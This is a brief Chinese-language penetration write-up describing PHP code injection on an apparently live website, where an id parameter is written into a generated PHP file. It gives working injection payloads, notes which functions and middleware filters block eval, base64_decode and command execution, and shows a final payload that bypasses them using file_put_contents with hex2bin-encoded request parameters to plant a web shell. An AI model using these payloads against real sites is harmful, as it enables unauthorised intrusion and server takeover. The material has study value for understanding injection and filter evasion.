记一次代码注入

遇到一个站点当对一个id参数进行传参时,会自动生成一个id值的php文件

image-20210805132914255

当输入80000",出现了500错误,猜测可能将参数写入了新生成的文件

image-20210805133023952

于是乎输入payload

1
5555";show_source(__FILE__);$a="

看到了代码注入

image-20210805133223509

php版本为7.3

很多函数被禁用

并且存在中间件的拦截,比如phpinfo

image-20210805133335099

后经过测试

eval,base64_decode以及命令执行均被拦截

assert为拦截,但是被disable_functions禁用了

最终写文件payload

1
80000";show_source(__FILE__);@file_put_contents($_REQUEST[8],hex2bin($_REQUEST[9].$_REQUEST[10]));$a="

image-20210805133541705

最终生成shell

image-20210805133624506